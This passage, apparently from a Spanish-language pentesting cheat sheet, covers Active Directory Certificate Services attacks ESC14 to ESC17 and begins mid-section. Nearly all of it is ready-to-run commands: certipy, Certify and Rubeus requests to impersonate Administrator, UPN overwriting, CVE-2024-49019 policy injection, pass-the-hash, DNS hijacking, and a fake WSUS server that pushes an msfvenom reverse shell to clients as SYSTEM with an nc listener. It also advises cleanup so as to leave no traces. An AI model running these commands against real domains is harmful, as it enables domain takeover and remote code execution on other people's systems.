certipy-ad auth -pfx victim.pfx -domain domain Autenticarse como el objetivo
ESC14 B — X509RFC822 (mail spoofing)
ComandoDescripción
Set-ADUser victim -Replace @{mail="admin@domain.local"} Modificar mail de la víctima
certipy-ad req -u victim@domain -p pass -ca CA_NAME -template TEMPLATE_EMAIL Solicitar certificado con SAN email
certipy-ad auth -pfx victim.pfx -domain domain Autenticarse como objetivo
ESC14 C — X509IssuerSubject
ComandoDescripción
Set-ADUser victim -Replace @{cn="Administrator"} Modificar CN de la víctima
certipy-ad req -u victim@domain -p pass -ca CA_NAME -template TEMPLATE Solicitar certificado con CN modificado
certipy-ad auth -pfx victim.pfx -domain domain Autenticarse como objetivo
ESC14 D — X509SubjectOnly
ComandoDescripción
Set-ADComputer victim -Replace @{dNSHostName="dc.domain.local"} Modificar hostname de la máquina víctima
certipy-ad req -u victim@domain -p pass -ca CA_NAME -template TEMPLATE Solicitar certificado
certipy-ad auth -pfx victim.pfx -domain domain Autenticarse como objetivo
ESC15 EKUwu — Inyección Arbitraria de Application Policy en Plantillas V1 (CVE-2024-49019)
Las plantillas de schema versión 1 (V1) no validan las Application Policies que el solicitante incluye en el CSR. Un atacante con permisos de Enroll puede inyectar OIDs arbitrarios (p.ej. Client Authentication o Certificate Request Agent) en la extensión Application Policy del certificado emitido. Como Windows da prioridad a esa extensión sobre el EKU real de la plantilla, el certificado resultante puede usarse para autenticación de cliente o como Enrollment Agent, aunque la plantilla sea solo WebServer.

A diferencia de ESC1, ESC15 ocurre cuando la plantilla no incluye el EKU de Client Authentication (Client Authentication: False), lo que habilita el abuso mediante Certificate Request Agent para solicitar certificados en nombre de otros usuarios. Puede verse como un ESC2 con más pasos.

Escenario A: Inyectar Client Authentication → cert usable vía SChannel (LDAP shell). PKINIT normalmente falla.
Escenario B: Inyectar Certificate Request Agent → actuar como Enrollment Agent y derivar el ataque a ESC3 (on-behalf-of Administrator). Este es el camino que funciona en la práctica para obtener TGT.
RequisitosPlantilla Schema Version 1 + EnrolleeSuppliesSubject = True + Enroll rights para el usuario atacante + CA sin parche CVE-2024-49019 + Client Authentication EKU: False(escenario A) o True(escenario B) + Manager Approval: False + certipy ≥ 5.0.0 obligatorio
⚠ Detección: Certipy < 5.0.0 NO detecta ESC15. Requiere exactamente certipy-ad ≥ 5.0.0 (o instalar desde el tag 5.0.3)
Certipy ≥ 5.0 — Detección ↗ TrustedSec EKUwu
ComandoDescripción
certipy find -u 'cert_admin' -p 'Pass' -target 10.10.10.10 -vulnerableDetecta ESC15 — aparece solo en certipy ≥ 5.0. Buscar en el output: Schema Version: 1 + Enrollee Supplies Subject: True + EKU sin Client Auth
certipy find -u 'cert_admin' -hashes :<NTLM_HASH> -target 10.10.10.10 -vulnerableIgual con Pass-the-Hash — útil si se obtuvo el hash vía Shadow Credentials
BloodHound — Query manual para ESC15
Query CypherDescripción
MATCH q=(u)-[:Enroll]->(t:CertTemplate)
WHERE t.schemaversion = 1
AND t.enrolleesuppliessubject = TRUE
AND (u.admincount = FALSE OR u.admincount IS NULL)
RETURN q
Identifica usuarios de bajo privilegio con Enroll sobre plantillas V1 con EnrolleeSuppliesSubject — los candidatos exactos para ESC15. Pegar en la consola de queries de BloodHound
Escenario A: Client Authentication → SChannel (LDAP shell)
⚠ PKINIT fallará con este escenario (Certificate is not valid for client authentication) porque el EKU real de la plantilla no lo permite. SChannel sí respeta la Application Policy inyectada.
ComandoDescripción
certipy req -u cert_admin -p 'Pass' -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template WebServer -upn 'Administrator@domain.htb' -application-policies 'Client Authentication'[Linux] Solicita cert de plantilla WebServer inyectando Client Authentication (OID 1.3.6.1.5.5.7.3.2) en la Application Policy — la CA V1 lo copia sin validar
certipy req -u cert_admin -hashes :<NTLM_HASH> -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template WebServer -upn 'Administrator@domain.htb' -sid 'S-1-5-21-...-500' -application-policies 'Client Authentication'[Linux] Igual con PtH + -sid del Administrator para evitar Object SID mismatch
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell[Linux] Autenticar vía SChannel (LDAP/TLS) — da acceso a la LDAP shell como Administrator
[Version]
Signature="$Windows NT$"
[NewRequest]
Subject = "CN=Administrator"
KeyLength = 2048
Exportable = TRUE
KeySpec = 1
KeyUsage = 0xA0
MachineKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
HashAlgorithm = sha256
RequestType = PKCS10
SMIME = FALSE
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "upn=Administrator@domain.htb"
1.3.6.1.4.1.311.21.10 = "{text}"
_continue_ = "1.3.6.1.5.5.7.3.2"
[Windows — certreq] Crear esc15.inf — la extensión 1.3.6.1.4.1.311.21.10 es Application Policy. OID 1.3.6.1.5.5.7.3.2 = Client Authentication
certreq -new esc15.inf esc15.req[Windows — certreq] Generar el CSR con la Application Policy inyectada
certreq -submit -config "<CAHostname>\<CAName>" esc15.req esc15.cer[Windows — certreq] Enviar el CSR directamente a la CA
certreq -accept esc15.cer[Windows — certreq] Importar el certificado — después exportar a .pfx para usar con Rubeus o certipy
Import-Module PSCertificateEnrollment
PS > $Csr = New-CertificateRequest -Upn "Administrator@domain.htb" -ApplicationPolicy ClientAuthentication
PS > $Csr | Get-IssuedCertificate -ConfigString "CA-Host\CA-Name" -CertificateTemplate "WebServer"
[Windows — PowerShell] Alternativa con PSCertificateEnrollment — genera y envía el CSR con Application Policy maliciosa en un solo flujo. Más programable que certreq
Escenario B: Certificate Request Agent → ESC3 on-behalf-of (PKINIT)
💡 Este es el camino que funciona con PKINIT/Kerberos. El cert de agente se usa para solicitar un cert de plantilla User en nombre del Administrator — ese sí tiene EKU real de Client Auth y permite obtener TGT.
ComandoDescripción
certipy req -u cert_admin -p 'Pass' -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template WebServer -application-policies 'Certificate Request Agent'[Linux — nombre] Obtener cert de agente inyectando Certificate Request Agent. No se especifica UPN aquí — el objetivo es el capability de agente
certipy req -u cert_admin -p 'Pass' -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template WebServer -application-policies '1.3.6.1.4.1.311.20.2.1'[Linux — OID directo] Alternativa usando el OID directamente en lugar del nombre amigable. Mismo resultado
certipy req -u cert_admin -hashes :<NTLM_HASH> -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template WebServer -application-policies 'Certificate Request Agent'[Linux] Igual con Pass-the-Hash si se obtuvo el hash vía Shadow Credentials
certipy req -u cert_admin -p 'Pass' -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template User -pfx attacker.pfx -on-behalf-of 'DOMAIN\Administrator'[Linux] Usar el cert de agente del paso anterior para solicitar un cert de plantilla User en nombre del Administrator — idéntico a ESC3 fase 2
certipy auth -pfx administrator.pfx -username administrator -domain domain.htb -dc-ip 10.10.10.10[Linux] PKINIT funciona aquí — el cert tiene EKU real de Client Auth porque viene de la plantilla User. Obtiene TGT
KRB5CCNAME=administrator.ccache impacket-wmiexec -k -no-pass dc.domain.htb[Linux] Usar el TGT obtenido para ejecución remota en el DC
ESC16 Security Extension deshabilitada en la CA + UPN Manipulation
La CA tiene la extensión de seguridad deshabilitada (OID 1.3.6.1.4.1.311.25.2 — szOID_NTDS_CA_SECURITY_EXT), lo que impide incrustar el SID del sujeto en el certificado. Esto ocurre cuando el OID está en el policy\DisableExtensionList de la CA, o cuando el parche KB5014754 (Mayo 2022) no está aplicado. La CA se comporta entonces como si todas sus plantillas fueran vulnerables a ESC9.

Escenario A (Compatibility mode): StrongCertificateBindingEnforcement = 0 o 1 → el KDC solo verifica el UPN del SAN. Con GenericWrite sobre una cuenta víctima se manipula su UPN para obtener un cert que autentica como Administrator.
Escenario B (Full enforcement): StrongCertificateBindingEnforcement = 2 → el KDC verifica el SID de la security extension. Requiere que la CA sea también vulnerable a ESC6 para inyectar el SID directamente en el SAN del CSR.
RequisitosszOID_NTDS_CA_SECURITY_EXT en DisableExtensionList de la CA — o KB5014754 sin aplicar + GenericWrite (o equivalente) sobre cuenta víctima + certipy ≥ 5.0.2 where Escenario A: StrongCertificateBindingEnforcement = 0 o 1 AND Escenario B: StrongCertificateBindingEnforcement = 2 + CA vulnerable a ESC6

Escenario A — Compatibility mode (Linux) · StrongCertificateBindingEnforcement = 0 o 1
El KDC solo verifica el UPN del SAN. Basta con manipular el UPN de la víctima para que el cert emitido identifique al Administrator. No se necesita ESC6.
ComandoDescripción
certipy-ad account -u 'attacker' -p 'Pass' -dc-ip 10.10.10.10 -upn 'administrator' -user 'victim' updateSobrescribir el UPN de victim con el sAMAccountName del Administrator — a partir de aquí los certs de victim identifican al Admin
certipy-ad req -u 'victim@domain.htb' -hashes '<NT_HASH>' -ca CA_NAME -template User -dc-ip 10.10.10.10Solicitar cert como victim usando el hash — la CA omite la security extension y el cert lleva el UPN del Administrator
certipy-ad account -u 'attacker' -p 'Pass' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' updateRestaurar UPN de victim — hacerlo siempre para no dejar rastros y para que no devuelva error, de lo contrario la CA verá dos usuarios con UPN administrator y denegará la autenticación de certificado
certipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb'Autenticación final como Administrator vía PKINIT — obtiene TGT


Escenario A — Windows
ComandoDescripción
Set-DomainObject victim -Set @{'userPrincipalName'='administrator'} -VerboseSobrescribir UPN de victim con el sAMAccountName del Administrator usando PowerView
Certify.exe request /ca:'domain\CA_NAME' /template:"User"Solicitar cert como victim desde la plantilla User — la CA omite la security extension y el cert lleva el UPN del Administrator
Set-DomainObject victim -Set @{'userPrincipalName'='victim@domain.htb'} -VerboseRestaurar UPN de victim — hacerlo siempre para evitar errores
Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERT" /password:"CERT_PASSWORD" /domain:"DOMAIN" /dc:"DC01" /showAutenticar como Administrator con el cert obtenido — obtiene TGT y credenciales


Escenario B — Full enforcement (Linux) · StrongCertificateBindingEnforcement = 2 + ESC6
El KDC verifica el SID de la security extension. La CA debe ser vulnerable/habilitar a ESC6 para poder inyectar el SID del Administrator directamente en el SAN del CSR — no es necesario manipular el UPN de ninguna víctima.
ComandoDescripción
certipy req -u 'attacker@domain.htb' -p 'Pass' -dc-ip 10.10.10.10 -target DC01.DOMAIN.HTB -ca CA_NAME -template User -upn 'administrator@domain.htb' -sid 'S-1-5-21-...-500'Solicitar cert inyectando UPN + SID del Administrator en el SAN — posible porque ESC6 permite al solicitante especificar el SAN libremente. La CA omite la security extension por ESC16
certipy auth -pfx administrator.pfx -username administrator -domain domain.htb -dc-ip 10.10.10.10Autenticar como Administrator vía PKINIT — el KDC acepta el SID inyectado al no haber security extension que lo contradiga
./Certify.exe request /ca:SERVER\CA_NAME /template:User /altname:administrator /url:tag:microsoft.com,2007-09-14:sid:<ADMINISTRATOR_SID>[Windows] Solicitar cert inyectando UPN y SID del Administrator en el SAN — Certify permite especificar el SID directamente en la URL del SAN gracias a ESC6
Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERT" /password:"CERT_PASSWORD" /domain:"DOMAIN" /dc:"DC01" /show[Windows] Autenticar como Administrator con el cert obtenido — el KDC acepta el SID inyectado al no haber security extension
ESC17 ESC1 con Server Authentication EKU — WSUS Spoofing vía MitM
Variante de ESC1 donde la plantilla vulnerable tiene EKU de Server Authentication en lugar de Client Authentication. Esto impide impersonar usuarios directamente (no sirve para PKINIT), pero sí permite impersonar servidores — en concreto, un servidor WSUS. Si en el dominio existe un endpoint WSUS cuyo DNS puede ser creado o redirigido por el atacante, se puede obtener un certificado legítimo para ese hostname (wsus.domain.htb) y levantar un servidor WSUS falso con TLS usando la herramienta wsuks. Los clientes Windows que consultan WSUS ejecutarán el payload entregado por el servidor falso como SYSTEM.

Campo abusado: ENROLLEE_SUPPLIES_SUBJECT = True + EKU Server Authentication → cert para hostname arbitrario (wsus.domain.htb) → MitM TLS del tráfico WSUS
RequisitosEnrolleeSuppliesSubject = True + EKU: Server Authentication (no Client Auth) + Enrollment rights sobre la plantilla + WSUS configurado en el dominio + permisos para escribir/modificar DNS(krbrelayx dnstool)

⚠ Diferencia clave con ESC1 clásico: El EKU Server Authentication NO permite autenticación Kerberos (PKINIT) ni SChannel de usuario. El cert solo sirve para TLS de servidor → único vector útil es impersonar el endpoint WSUS y entregar un payload a los clientes que lo consultan.

Confirmar WSUS en el dominio (pre-ataque)
ComandoDescripción
nxc ldap <DC_IP> -u user -p 'Pass' -M wsusMódulo NetExec para enumerar si WSUS está activo y qué endpoint usa — muestra el hostname configurado del servidor WSUS en el dominio
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServerDesde una sesión en el cliente Windows: leer el registro para ver el servidor WSUS configurado — confirma el hostname exacto a suplantar
sudo poetry run wsuks -u user -p 'Pass' -d domain.htb --dc-ip <DC_IP> --dc-name dc.domain.htb -I tun0 --only-discover -kVerificar que WSUS está activo en el dominio desde fuera — --only-discover no levanta servidor, solo confirma la presencia de WSUS y qué clientes lo consultan
Certipy — Detección y solicitud del certificado
ComandoDescripción
certipy find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -vulnerable -stdoutDetectar plantilla ESC17 — buscar template con Enrollee Supplies Subject: True y EKU Server Authentication (1.3.6.1.5.5.7.3.1) sin Client Auth. Los enrollment rights deben incluir al usuario comprometido
certipy req -u user@domain.htb -p 'Pass' -ca <CA_NAME> -template <TMPL> -dns 'wsus.domain.htb' -dc-ip 10.10.10.10Solicitar certificado para el hostname del servidor WSUS usando el SAN DNS (-dns) en lugar de -upn — genera wsus.pfx con Server Auth EKU para ese FQDN
certipy req -u user@domain.htb -hashes :<NTLM_HASH> -ca <CA_NAME> -template <TMPL> -dns 'wsus.domain.htb' -dc-ip 10.10.10.10Igual con Pass-the-Hash
openssl — Convertir PFX a PEM para wsuks
ComandoDescripción
openssl pkcs12 -in wsus.pfx -out wsus.pem -nodes --passin pass:Convierte el PFX generado por certipy a formato PEM (cert + clave privada en un solo archivo sin contraseña) — formato requerido por wsuks para levantar el servidor TLS falso
dnstool.py (krbrelayx toolkit) — Añadir registro DNS ↗ krbrelayx
ComandoDescripción
python3 dnstool.py -u 'domain.htb\user' -k -r 'wsus.domain.htb' -a add -d <ATTACKER_IP> dc.domain.htb -dns-ip <DC_IP>Crear registro DNS wsus.domain.htb → ATTACKER_IP via LDAP autenticando con Kerberos (-k) — redirige el tráfico WSUS de los clientes hacia el servidor falso. Requiere permisos de escritura DNS (habitual para usuarios del dominio en configuración por defecto)
tcpdump -i tun0 icmpVerificar que el registro DNS funciona — hacer ping a wsus.domain.htb desde otra máquina del dominio y comprobar que llega a la IP del atacante
python3 dnstool.py -u 'domain.htb\user' -k -r 'wsus.domain.htb' -a remove dc.domain.htb -dns-ip <DC_IP>Eliminar el registro DNS tras la explotación — limpieza imprescindible para no dejar el DNS del dominio roto
wsuks — Servidor WSUS falso con TLS ↗ NeffIsBack/wsuks
ComandoDescripción
git clone https://github.com/NeffIsBack/wsuks
pipx install --python python3 poetry
sudo poetry install
Instalación de wsuks — usar poetry con Python3 explícito, de lo contrario falla con Python2. El directorio wsuks/executables/ incluye PsExec64.exe
sudo poetry run wsuks -u user -p 'Pass' -d domain.htb --dc-ip <DC_IP> --dc-name dc.domain.htb -I tun0 --only-discover -kVerificar que WSUS está activo en el dominio desde fuera — --only-discover no levanta servidor, solo confirma la presencia de WSUS y qué clientes lo consultan
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f exe -o rev.exeGenerar el payload que entregará el servidor WSUS falso — se ejecutará como NT AUTHORITY\SYSTEM en el cliente que consulte WSUS
sudo wsuks --serve-only --tls-cert ../wsus.pem --executable wsuks/executables/PsExec64.exe --command "-accepteula -s C:\temp\rev.exe" -t <DC_IP> -I tun0Levantar el servidor WSUS falso con TLS usando el PEM legítimo — cuando un cliente Windows consulte WSUS, recibirá PsExec64.exe + el comando que descarga y ejecuta el payload como SYSTEM
nc -lvnp <PORT>Listener para recibir la reverse shell como NT AUTHORITY\SYSTEM cuando el cliente Windows ejecute el payload entregado por el servidor WSUS falso